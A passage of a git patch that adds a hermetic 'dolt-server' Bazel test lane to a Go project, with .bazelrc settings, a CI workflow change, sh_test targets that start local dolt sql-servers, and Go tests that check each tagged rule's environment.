kills every process of the current user whose command line names the action's private mktemp root (pkill -f, two passes; a /proc scan when pkill is absent) before removing it. The root is unique per action and never in the wrapper's own argv; cleanup still cannot change the test's exit status. Co-Authored-By: Claude Opus 5.5 (1M context) * test(bazel): fail closed on every dolt-server target, checked per rule The no-short twins (domain, domain/fs, domain/git, tracker/conformance) now pin BEADS_TEST_DOLT_SERVER=local and BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 like the lane's other targets, so a Dolt-server test added to those packages fails instead of skipping into a cached pass. TestBazelDoltJobMirrorsContainerJobs checked the env with a file-wide substring search, so a docker variant in the same BUILD file covered for a dolt-server target that lost it. It now parses each rule tagged dolt-server and requires both variables, BEADS_FIX_REQUIRE_DOLT on fix_dolt_test, BEADS_PROTOCOL_REQUIRE_DOLT on protocol_dolt_test, and no no-remote-exec. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 25 ++- .github/workflows/bazel.yml | 37 +++-- cmd/bd/doctor/fix/BUILD.bazel | 29 ++++ cmd/bd/protocol/BUILD.bazel | 33 ++++ engdocs/TESTING.md | 6 + internal/storage/domain/BUILD.bazel | 25 +++ internal/storage/domain/db/BUILD.bazel | 26 ++++ internal/storage/domain/fs/BUILD.bazel | 25 +++ internal/storage/domain/git/BUILD.bazel | 25 +++ internal/storage/uow/BUILD.bazel | 32 ++++ internal/tracker/BUILD.bazel | 26 ++++ internal/tracker/conformance/BUILD.bazel | 25 +++ scripts/bazel_policy_test.go | 15 +- scripts/ci_workflow_test.go | 185 ++++++++++++++++++++--- tools/bazel/test_env.sh | 36 ++++- 15 files changed, 506 insertions(+), 44 deletions(-) diff --git a/.bazelrc b/.bazelrc index 56cafc867..6a1932516 100644 --- a/.bazelrc +++ b/.bazelrc @@ -34,7 +34,7 @@ test:prcore --test_env=BEADS_TEST_SKIP=dolt # As in pr.yml's PR Core step: a root or non-POSIX executor fails # TestAddExcludePatternsRefusesReadErrors instead of skipping it. test:prcore --test_env=BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1 -test:prcore --test_tag_filters=-requires-docker,-embedded,-manual +test:prcore --test_tag_filters=-requires-docker,-dolt-server,-embedded,-manual test:ci --config=prcore test:ci --keep_going --test_summary=terse @@ -97,6 +97,29 @@ test:embedded --test_arg=-test.parallel=4 test:embedded --test_env=GO_TEST_WRAP_TESTV=1 test:embedded --remote_download_regex=.*/test\.xml$ +# Dolt-server lane: the same jobs as the docker lane ("Test (storage domain + +# uow)" and "Contract corpus"), but every dolt sql-server is a child of the +# test process, started from the pinned dolt in the test wrapper's runfiles +# (BEADS_TEST_DOLT_SERVER=local, set by each dolt-server target), so the +# targets run on remote workers and need no docker. Same selection rules as +# test:docker: race (//cmd/bd/protocol's variant opts out, like its job), no +# -short, no BEADS_TEST_SKIP=dolt, -test.parallel=4, and the no--short twins +# of the job's other packages. Results are cacheable: every input (test +# binary, dolt, env) is in the action key, and a server that cannot start +# fails the target (BEADS_TEST_REQUIRE_DOLT_CONTAINER=1) instead of skipping. +# --config=docker stays as the A/B control. test.xml is downloaded for +# tools/bazel/equivalence.py --job, test.log for bazel.yml's failure artifact. +test:doltserver --@rules_go//go/config:race +test:doltserver --test_tag_filters=dolt-server +test:doltserver --build_tests_only +test:doltserver --keep_going +test:doltserver --test_env=GO_TEST_WRAP_TESTV=1 +test:doltserver --test_arg=-test.parallel=4 +# Locally (fork PRs, rbe=off, no executor): at most 4 test processes, as in +# test:docker; remote workers are not limited by it. +test:doltserver --local_test_jobs=4 +test:doltserver --remote_download_regex=.*/test\.(log|xml)$ + # Pure-Go lane: pr.yml's "Check pure-Go and js/wasm boundaries # (CGO_ENABLED=0)" job. CGO is off for every Go target (rules_go drops # cgo-constrained files like go build does; third_party/patches/ diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 6c2497c44..12d5815a0 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -61,6 +61,12 @@ on: required: false type: boolean default: false + dolt-lane: + description: "Dolt-backed lane: doltserver (hermetic, remote) or docker (testcontainers A/B control)" + required: false + type: choice + default: "doltserver" + options: [ "doltserver", "docker" ] workflow_call: inputs: rbe: @@ -457,20 +463,21 @@ jobs: retention-days: 7 # pr.yml's container-backed jobs, "Test (storage domain + uow)" and - # "Contract corpus", as Bazel's docker lane: --config=docker runs the - # requires-docker variants (domain/db, uow, tracker, doctor/fix, protocol) - # on this runner against its docker daemon (they are no-remote-exec); - # builds still execute remotely when configured. The other packages of the - # domain+uow job pass identically under bazel-test's --config=ci. The lane - # is named in one variable, so a hermetic dolt-server lane can replace it. - bazel-docker: - name: Bazel / docker lane (advisory) + # "Contract corpus", as Bazel's dolt-server lane: --config=doltserver runs + # the dolt-server variants (domain/..., uow in 8 shards, tracker/..., + # doctor/fix, protocol in 8 shards), each of which starts its own dolt + # sql-server from the pinned dolt, so they execute on the remote workers + # like any other test (locally for forks and rbe=off). The docker lane + # (--config=docker: the same suites against testcontainers on this runner, + # no-remote-exec) stays the A/B control: dispatch with dolt-lane=docker. + bazel-doltserver: + name: Bazel / dolt-server lane (advisory) # Same runner, rbe-west gate and skip rule as bazel-test. runs-on: ${{ (inputs.rbe || 'on') != 'off' && github.event.pull_request.head.repo.fork != true && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ vars.RBE_WEST_WORKERS == 'true' || inputs.rbe == 'off' || github.event.pull_request.head.repo.fork == true }} timeout-minutes: 90 env: - BAZEL_DOCKER_LANE: docker + BAZEL_DOLT_LANE: ${{ inputs.dolt-lane || 'doltserver' }} steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -484,26 +491,28 @@ jobs: RBE_TLS_CA: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_CA || '' }} RBE_INSTANCE: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && 'oss' || '' }} - # As in the mirrored jobs; tests fail rather than skip without it. + # Docker lane only (the A/B control), as in the mirrored jobs; its + # tests fail rather than skip without the image. - name: Pull Dolt sql-server image + if: ${{ env.BAZEL_DOLT_LANE == 'docker' }} run: ./scripts/ci/pull-dolt-image.sh - - name: bazel test //... --config=docker + - name: bazel test //... --config=doltserver id: test timeout-minutes: 80 run: | set -o pipefail start=$(date +%s) rc=0 - bazel test //... "--config=$BAZEL_DOCKER_LANE" 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? - echo "bazel test --config=$BAZEL_DOCKER_LANE: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" + bazel test //... "--config=$BAZEL_DOLT_LANE" 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? + echo "bazel test --config=$BAZEL_DOLT_LANE: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc" - name: Upload test logs if: ${{ failure() && steps.test.outcome == 'failure' }} uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 with: - name: bazel-docker-testlogs + name: bazel-${{ env.BAZEL_DOLT_LANE }}-testlogs path: | bazel-testlogs/**/test.log bazel-testlogs/**/test.xml diff --git a/cmd/bd/doctor/fix/BUILD.bazel b/cmd/bd/doctor/fix/BUILD.bazel index e3b6d5108..7ab6423bc 100644 --- a/cmd/bd/doctor/fix/BUILD.bazel +++ b/cmd/bd/doctor/fix/BUILD.bazel @@ -126,6 +126,35 @@ sh_test( ], ) +# The Dolt-backed half of fix_test, as pr.yml's "Test doctor/fix (Dolt-backed, +# hard-require container)" step runs it, on the dolt-server lane: TestMain's +# server is a local `dolt sql-server` child of the test process, and +# BEADS_FIX_REQUIRE_DOLT=1 keeps the suite from skipping when it cannot start. +# fix_docker_test is the A/B control. 4 shards: unsharded it was the lane's +# critical path (~4 min remotely). +# +# Tags: +# dolt-server: starts hermetic dolt sql-servers from the pinned dolt in the +# test wrapper's runfiles (BEADS_TEST_DOLT_SERVER=local); excluded from +# --config=prcore/ci, selected by --config=doltserver. Runs remotely: no +# docker, and a missing server fails (REQUIRE=1) instead of skipping, so +# a cached pass is as good as a fresh one. +sh_test( + name = "fix_dolt_test", + size = "large", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :fix_test)"], + data = [":fix_test"], + env = { + "BEADS_FIX_REQUIRE_DOLT": "1", + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + "GOMAXPROCS": "4", + }, + shard_count = 4, + tags = ["dolt-server"], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/cmd/bd/protocol/BUILD.bazel b/cmd/bd/protocol/BUILD.bazel index 7cabc8522..d88b1110a 100644 --- a/cmd/bd/protocol/BUILD.bazel +++ b/cmd/bd/protocol/BUILD.bazel @@ -106,3 +106,36 @@ sh_test( "requires-docker", ], ) + +# protocol_test as pr.yml's "Contract corpus" job runs it (non-race, like the +# job; see protocol_race_off), on the dolt-server lane: TestMain's server is a +# local `dolt sql-server` child of the test process, and +# BEADS_PROTOCOL_REQUIRE_DOLT=1 turns a server that cannot start into a +# failure, so the golden and double-run determinism tests cannot skip. It +# repeats protocol_test's `env`. protocol_docker_test is the A/B control. +# +# Tags: +# dolt-server: starts hermetic dolt sql-servers from the pinned dolt in the +# test wrapper's runfiles (BEADS_TEST_DOLT_SERVER=local); excluded from +# --config=prcore/ci, selected by --config=doltserver. Runs remotely: no +# docker, and a missing server fails (REQUIRE=1) instead of skipping, so +# a cached pass is as good as a fresh one. +sh_test( + name = "protocol_dolt_test", + size = "large", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :protocol_race_off)"], + data = [ + ":protocol_race_off", + "//cmd/bd:bd_for_tests", + ], + env = { + "BEADS_PROTOCOL_REQUIRE_DOLT": "1", + "BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)", + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + "GOMAXPROCS": "4", + }, + shard_count = 8, + tags = ["dolt-server"], +) diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index 403e3142f..6596c4452 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -99,6 +99,12 @@ sit behind that API, selected by `BEADS_TEST_DOLT_SERVER`: failure (per test and in every `TestMain`) instead of a skip; lanes that exist to run the Dolt suites set it. +Under Bazel, `bazel test //... --config=doltserver` runs the Dolt-backed +suites of pr.yml's "Test (storage domain + uow)" and "Contract corpus" jobs +on the `local` backend (the `dolt-server` targets); they need no docker and +execute remotely with `--config=remote-exec`. `--config=docker` runs the same +suites on the `container` backend (host docker) as the A/B control. + Tests that need a temporary repository or store should use `t.TempDir()` and `t.Cleanup()`. Temporary repositories must set a repository-local hooks path; do not inherit the developer's global hooks configuration. diff --git a/internal/storage/domain/BUILD.bazel b/internal/storage/domain/BUILD.bazel index aa6fa9091..c35a54ac3 100644 --- a/internal/storage/domain/BUILD.bazel +++ b/internal/storage/domain/BUILD.bazel @@ -1,4 +1,5 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") go_library( name = "domain", @@ -52,6 +53,30 @@ go_test( ], ) +# domain_test without -short, as pr.yml's "Test (storage domain + uow)" job runs +# its package (--config=ci passes -test.short). It needs no Dolt server; it is +# in the dolt-server lane so that lane alone runs every package of the job. +# GOMAXPROCS=4 is the job's runner shape. It still pins the local backend and +# fails closed like the lane's other targets: a Dolt-server test added to this +# package later must fail here, not skip into a cached green, while the job +# runs it. +# +# Tags: +# dolt-server: part of the dolt-server lane (--config=doltserver), which +# runs the whole job without -short; excluded from --config=prcore/ci. +sh_test( + name = "domain_noshort_test", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :domain_test)"], + data = [":domain_test"], + env = { + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + "GOMAXPROCS": "4", + }, + tags = ["dolt-server"], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/internal/storage/domain/db/BUILD.bazel b/internal/storage/domain/db/BUILD.bazel index 78e0eb5eb..bfd6e68e0 100644 --- a/internal/storage/domain/db/BUILD.bazel +++ b/internal/storage/domain/db/BUILD.bazel @@ -152,6 +152,32 @@ sh_test( ], ) +# db_test as pr.yml's "Test (storage domain + uow)" job runs it, on the +# dolt-server lane: TestDomainDB's server is a `dolt sql-server` the test +# process starts itself (the local backend of internal/testutil) instead of a +# testcontainers container. GOMAXPROCS=4 is the job's runner shape (the +# executor may have far more cores). db_docker_test is the A/B control. +# +# Tags: +# dolt-server: starts hermetic dolt sql-servers from the pinned dolt in the +# test wrapper's runfiles (BEADS_TEST_DOLT_SERVER=local); excluded from +# --config=prcore/ci, selected by --config=doltserver. Runs remotely: no +# docker, and a missing server fails (REQUIRE=1) instead of skipping, so +# a cached pass is as good as a fresh one. +sh_test( + name = "db_dolt_test", + size = "large", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :db_test)"], + data = [":db_test"], + env = { + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + "GOMAXPROCS": "4", + }, + tags = ["dolt-server"], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/internal/storage/domain/fs/BUILD.bazel b/internal/storage/domain/fs/BUILD.bazel index 5ce2de365..0ed0a9c9b 100644 --- a/internal/storage/domain/fs/BUILD.bazel +++ b/internal/storage/domain/fs/BUILD.bazel @@ -1,4 +1,5 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") go_library( name = "fs", @@ -40,6 +41,30 @@ go_test( ], ) +# fs_test without -short, as pr.yml's "Test (storage domain + uow)" job runs +# its package (--config=ci passes -test.short). It needs no Dolt server; it is +# in the dolt-server lane so that lane alone runs every package of the job. +# GOMAXPROCS=4 is the job's runner shape. It still pins the local backend and +# fails closed like the lane's other targets: a Dolt-server test added to this +# package later must fail here, not skip into a cached green, while the job +# runs it. +# +# Tags: +# dolt-server: part of the dolt-server lane (--config=doltserver), which +# runs the whole job without -short; excluded from --config=prcore/ci. +sh_test( + name = "fs_noshort_test", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :fs_test)"], + data = [":fs_test"], + env = { + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + "GOMAXPROCS": "4", + }, + tags = ["dolt-server"], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/internal/storage/domain/git/BUILD.bazel b/internal/storage/domain/git/BUILD.bazel index 32a3ada9b..4b802168a 100644 --- a/internal/storage/domain/git/BUILD.bazel +++ b/internal/storage/domain/git/BUILD.bazel @@ -1,4 +1,5 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") go_library( name = "git", @@ -27,6 +28,30 @@ go_test( ], ) +# git_test without -short, as pr.yml's "Test (storage domain + uow)" job runs +# its package (--config=ci passes -test.short). It needs no Dolt server; it is +# in the dolt-server lane so that lane alone runs every package of the job. +# GOMAXPROCS=4 is the job's runner shape. It still pins the local backend and +# fails closed like the lane's other targets: a Dolt-server test added to this +# package later must fail here, not skip into a cached green, while the job +# runs it. +# +# Tags: +# dolt-server: part of the dolt-server lane (--config=doltserver), which +# runs the whole job without -short; excluded from --config=prcore/ci. +sh_test( + name = "git_noshort_test", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :git_test)"], + data = [":git_test"], + env = { + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + "GOMAXPROCS": "4", + }, + tags = ["dolt-server"], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/internal/storage/uow/BUILD.bazel b/internal/storage/uow/BUILD.bazel index 3389c8051..79d948dab 100644 --- a/internal/storage/uow/BUILD.bazel +++ b/internal/storage/uow/BUILD.bazel @@ -219,6 +219,38 @@ sh_test( ], ) +# uow_test as pr.yml's "Test (storage domain + uow)" job runs it (no -short), +# on the dolt-server lane: every server the tests ask internal/testutil for is +# a `dolt sql-server` child of the test process, so the target runs on remote +# workers. It repeats uow_test's `env` (go_test_variant.sh cannot inherit it). +# GOMAXPROCS=4 is the job's runner shape. uow_docker_test is the A/B control. +# 8 shards keep each under ~2 min remotely (the package is ~7 min in the job). +# +# Tags: +# dolt-server: starts hermetic dolt sql-servers from the pinned dolt in the +# test wrapper's runfiles (BEADS_TEST_DOLT_SERVER=local); excluded from +# --config=prcore/ci, selected by --config=doltserver. Runs remotely: no +# docker, and a missing server fails (REQUIRE=1) instead of skipping, so +# a cached pass is as good as a fresh one. +sh_test( + name = "uow_dolt_test", + size = "large", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :uow_test)"], + data = [ + ":uow_test", + "//cmd/bd:bd_for_tests", + ], + env = { + "BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)", + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + "GOMAXPROCS": "4", + }, + shard_count = 8, + tags = ["dolt-server"], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/internal/tracker/BUILD.bazel b/internal/tracker/BUILD.bazel index 4cec4b434..e0cadf8b6 100644 --- a/internal/tracker/BUILD.bazel +++ b/internal/tracker/BUILD.bazel @@ -82,3 +82,29 @@ sh_test( "requires-docker", ], ) + +# tracker_test as pr.yml's "Test (storage domain + uow)" job runs it (no +# -short; TestMain starts the shared server), on the dolt-server lane: the +# server is a local `dolt sql-server` child of the test process. +# BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 makes TestMain exit 1 if it cannot start, +# instead of WARN-skipping the suite. tracker_docker_test is the A/B control. +# +# Tags: +# dolt-server: starts hermetic dolt sql-servers from the pinned dolt in the +# test wrapper's runfiles (BEADS_TEST_DOLT_SERVER=local); excluded from +# --config=prcore/ci, selected by --config=doltserver. Runs remotely: no +# docker, and a missing server fails (REQUIRE=1) instead of skipping, so +# a cached pass is as good as a fresh one. +sh_test( + name = "tracker_dolt_test", + size = "large", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :tracker_test)"], + data = [":tracker_test"], + env = { + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + "GOMAXPROCS": "4", + }, + tags = ["dolt-server"], +) diff --git a/internal/tracker/conformance/BUILD.bazel b/internal/tracker/conformance/BUILD.bazel index 2a1060557..0fa79e36d 100644 --- a/internal/tracker/conformance/BUILD.bazel +++ b/internal/tracker/conformance/BUILD.bazel @@ -1,4 +1,5 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") go_library( name = "conformance", @@ -26,3 +27,27 @@ go_test( "//internal/types", ], ) + +# conformance_test without -short, as pr.yml's "Test (storage domain + uow)" job runs +# its package (--config=ci passes -test.short). It needs no Dolt server; it is +# in the dolt-server lane so that lane alone runs every package of the job. +# GOMAXPROCS=4 is the job's runner shape. It still pins the local backend and +# fails closed like the lane's other targets: a Dolt-server test added to this +# package later must fail here, not skip into a cached green, while the job +# runs it. +# +# Tags: +# dolt-server: part of the dolt-server lane (--config=doltserver), which +# runs the whole job without -short; excluded from --config=prcore/ci. +sh_test( + name = "conformance_noshort_test", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :conformance_test)"], + data = [":conformance_test"], + env = { + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + "GOMAXPROCS": "4", + }, + tags = ["dolt-server"], +) diff --git a/scripts/bazel_policy_test.go b/scripts/bazel_policy_test.go index ce24186ce..888a56778 100644 --- a/scripts/bazel_policy_test.go +++ b/scripts/bazel_policy_test.go @@ -675,8 +675,12 @@ var allowedBazelTestTags = map[string]string{ "no-remote-exec": "must run on the Bazel client's host, never on a remote worker", "no-remote-cache": "result depends on the host, so it is neither read from nor uploaded to the remote cache", "requires-docker": "needs a docker daemon; excluded from --config=prcore/ci, run by --config=docker", - "embedded": "embedded-Dolt tier variant; its own config", - "manual": "never part of //...: a repro/bench harness, or a build input only another target needs", + // No no-remote-exec: the target starts its own dolt sql-server from the + // pinned dolt in its runfiles, so it runs on any worker, and a server that + // cannot start fails it rather than skipping, so its cached result holds. + "dolt-server": "starts hermetic dolt sql-servers (or completes the lane's job without -short); excluded from --config=prcore/ci, run by --config=doltserver", + "embedded": "embedded-Dolt tier variant; its own config", + "manual": "never part of //...: a repro/bench harness, or a build input only another target needs", } // bazelTagsRequiring maps tags whose targets depend on the host to the tags @@ -854,7 +858,7 @@ func checkBazelrcPrcoreTagFilter(bazelrc string) error { for _, f := range strings.Split(strings.TrimPrefix(o.flag, "--test_tag_filters="), ",") { filters[f] = true } - for _, tag := range []string{"requires-docker", "embedded", "manual"} { + for _, tag := range []string{"requires-docker", "dolt-server", "embedded", "manual"} { if !filters["-"+tag] { return errors.New(o.config + " --test_tag_filters does not exclude " + tag) } @@ -871,8 +875,9 @@ func TestBazelrcPrcoreExcludesNonPRTags(t *testing.T) { t.Fatal(err) } for name, rc := range map[string]string{ - "missing": "test:ci --keep_going\n", - "no docker": "test:prcore --test_tag_filters=-embedded,-manual\n", + "missing": "test:ci --keep_going\n", + "no docker": "test:prcore --test_tag_filters=-dolt-server,-embedded,-manual\n", + "no dolt-server": "test:prcore --test_tag_filters=-requires-docker,-embedded,-manual\n", "ci override": "test:prcore --test_tag_filters=-requires-docker,-embedded,-manual\n" + "test:ci --config=prcore\ntest:ci --test_tag_filters=requires-docker\n", "second prcore line": "test:prcore --test_tag_filters=-requires-docker,-embedded,-manual\n" + diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index be2f3bb09..d38c00072 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -2,6 +2,7 @@ package scripts_test import ( "encoding/base64" + "errors" "fmt" "os" "os/exec" @@ -1434,7 +1435,7 @@ const ( bazelWorkflowName = "bazel.yml" bazelJobName = "bazel-test" bazelPureJobName = "bazel-pure" - bazelDockerJobName = "bazel-docker" + bazelDoltJobName = "bazel-doltserver" bazelEmbedJobName = "bazel-embedded" setupBazelActionDir = ".github/actions/setup-bazel" uploadArtifactSHA = "043fb46d1a93c77aae656e7c1c64a875d1fc6a0a" @@ -1451,7 +1452,7 @@ const ( // bazel.yml's jobs: the --config=ci lane, and one job per pr.yml job a Bazel // config mirrors. -var bazelJobNames = []string{bazelDockerJobName, bazelEmbedJobName, bazelPureJobName, bazelJobName} +var bazelJobNames = []string{bazelDoltJobName, bazelEmbedJobName, bazelPureJobName, bazelJobName} // The only triggers bazel.yml may have. pull_request_target (and // workflow_run) would run with secrets in the context of fork PRs. @@ -1744,41 +1745,179 @@ func TestBazelWorkflowPublishesBuildArtifacts(t *testing.T) { } } -// bazel-docker replaces pr.yml's container-backed jobs: --config=docker on a -// runner with a docker daemon and the same pre-pulled dolt image, and a -// requires-docker variant in every package those jobs start containers in. -func TestBazelDockerJobMirrorsContainerJobs(t *testing.T) { +// bazel-doltserver replaces pr.yml's container-backed jobs: --config=doltserver +// (hermetic dolt sql-servers, remote-executable) by default, and a dolt-server +// target in every package those jobs run. --config=docker stays reachable as +// the A/B control (dispatch dolt-lane=docker), with the jobs' image pull. +func TestBazelDoltJobMirrorsContainerJobs(t *testing.T) { pr := readCIWorkflow(t, "pr.yml") - job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelDockerJobName) + job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelDoltJobName) + pull := job.step(t, "Pull Dolt sql-server image") for _, name := range []string{"test-domain-uow", "contract-corpus"} { - prJob := pr.job(t, name) - if pull := prJob.step(t, "Pull Dolt sql-server image").Run; job.step(t, "Pull Dolt sql-server image").Run != pull { - t.Errorf("%s pulls the dolt image differently from %s (%q)", bazelDockerJobName, name, pull) + if want := pr.job(t, name).step(t, "Pull Dolt sql-server image").Run; pull.Run != want { + t.Errorf("%s pulls the dolt image differently from %s (%q)", bazelDoltJobName, name, want) } } - if job.Env["BAZEL_DOCKER_LANE"] != "docker" { - t.Errorf("%s BAZEL_DOCKER_LANE = %q, want docker", bazelDockerJobName, job.Env["BAZEL_DOCKER_LANE"]) + if pull.If != "${{ env.BAZEL_DOLT_LANE == 'docker' }}" { + t.Errorf("%s pulls the dolt image with if %q; only the docker lane needs it", bazelDoltJobName, pull.If) } - test := job.step(t, "bazel test //... --config=docker") - if !strings.Contains(test.Run, `bazel test //... "--config=$BAZEL_DOCKER_LANE"`) || !strings.Contains(test.Run, "set -o pipefail") { - t.Errorf("docker lane step does not run the lane over //...:\n%s", test.Run) + if got := job.Env["BAZEL_DOLT_LANE"]; got != "${{ inputs.dolt-lane || 'doltserver' }}" { + t.Errorf("%s BAZEL_DOLT_LANE = %q, want the doltserver lane unless dispatched otherwise", bazelDoltJobName, got) + } + test := job.step(t, "bazel test //... --config=doltserver") + if !strings.Contains(test.Run, `bazel test //... "--config=$BAZEL_DOLT_LANE"`) || !strings.Contains(test.Run, "set -o pipefail") { + t.Errorf("dolt lane step does not run the lane over //...:\n%s", test.Run) } if strings.Contains(test.Run, "--config=remote-exec") { - t.Errorf("docker lane step selects remote-exec itself; setup-bazel's rc does that only when secrets are present") + t.Errorf("dolt lane step selects remote-exec itself; setup-bazel's rc does that only when secrets are present") } assertTestStepKeepsExitStatus(t, test) - // The packages whose tests start dolt containers in those jobs - // (test-domain-uow: domain/..., uow, tracker/... and doctor/fix; - // contract-corpus: protocol) each need a requires-docker target. Only - // under go test: scripts_test's runfiles hold no other package's BUILD. + rc := readPolicyFile(t, bazelPolicyRoot(t), ".bazelrc") + for _, want := range []string{"test:doltserver --test_tag_filters=dolt-server", "test:docker --test_tag_filters=requires-docker"} { + if !strings.Contains(rc, want+"\n") { + t.Errorf(".bazelrc lacks %q", want) + } + } + + // The packages those jobs run (test-domain-uow: domain/..., uow, + // tracker/... and doctor/fix; contract-corpus: protocol) each need a + // dolt-server target. Every such target, checked on its own, picks the + // local backend and fails closed, so a broken backend fails rather than + // skipping into a cached pass; the ones whose TestMain owns a server also + // set the package's own REQUIRE switch. Only under go test: scripts_test's + // runfiles hold no other package's BUILD. if os.Getenv("TEST_SRCDIR") != "" { return } root := sourceRepoRoot(t) - for _, pkg := range []string{"internal/storage/domain/db", "internal/storage/uow", "internal/tracker", "cmd/bd/doctor/fix", "cmd/bd/protocol"} { - if !strings.Contains(readPolicyFile(t, root, pkg+"/BUILD.bazel"), `"requires-docker"`) { - t.Errorf("%s/BUILD.bazel has no requires-docker variant for the docker lane", pkg) + for pkg, docker := range map[string]bool{ + "internal/storage/domain": false, + "internal/storage/domain/db": true, + "internal/storage/domain/fs": false, + "internal/storage/domain/git": false, + "internal/storage/uow": true, + "internal/tracker": true, + "internal/tracker/conformance": false, + "cmd/bd/doctor/fix": true, + "cmd/bd/protocol": true, + } { + build := readPolicyFile(t, root, pkg+"/BUILD.bazel") + for _, err := range checkDoltServerRules(pkg, build) { + t.Error(err) + } + if docker && !strings.Contains(build, `"requires-docker"`) { + t.Errorf("%s/BUILD.bazel has no requires-docker variant for the docker A/B lane", pkg) + } + } +} + +// doltServerRuleEnv is the rule env every dolt-server target must set, and +// doltServerExtraEnv what particular targets need on top: the TestMain +// switches that turn a server which cannot start into a failure. +var ( + doltServerRuleEnv = []string{`"BEADS_TEST_DOLT_SERVER": "local"`, `"BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1"`} + doltServerExtraEnv = map[string][]string{ + "fix_dolt_test": {`"BEADS_FIX_REQUIRE_DOLT": "1"`}, + "protocol_dolt_test": {`"BEADS_PROTOCOL_REQUIRE_DOLT": "1"`}, + } + bazelRuleNameRe = regexp.MustCompile(`(?m)^\s*name\s*=\s*"([^"]+)"`) +) + +// bazelTopRules splits a BUILD file into its top-level calls: each starts at +// a line matching bazelTopRuleRe and ends at the next line that is just ")". +func bazelTopRules(build string) []string { + var rules []string + var cur []string + in := false + for _, line := range strings.Split(build, "\n") { + if !in && bazelTopRuleRe.MatchString(line) { + in, cur = true, nil + } + if in { + cur = append(cur, line) + if line == ")" || (len(cur) == 1 && strings.HasSuffix(strings.TrimSpace(line), ")")) { + rules = append(rules, strings.Join(cur, "\n")) + in = false + } + } + } + return rules +} + +// checkDoltServerRules checks each rule tagged dolt-server in one package's +// BUILD file on its own (a file-wide search would accept another target's +// env), and that the package has at least one. +func checkDoltServerRules(pkg, build string) []error { + var errs []error + found := 0 + for _, rule := range bazelTopRules(stripStarlarkComments(build)) { + if !strings.Contains(rule, `"dolt-server"`) { + continue + } + found++ + name := "?" + if m := bazelRuleNameRe.FindStringSubmatch(rule); m != nil { + name = m[1] + } + where := "//" + pkg + ":" + name + for _, env := range append(append([]string{}, doltServerRuleEnv...), doltServerExtraEnv[name]...) { + if !strings.Contains(rule, env) { + errs 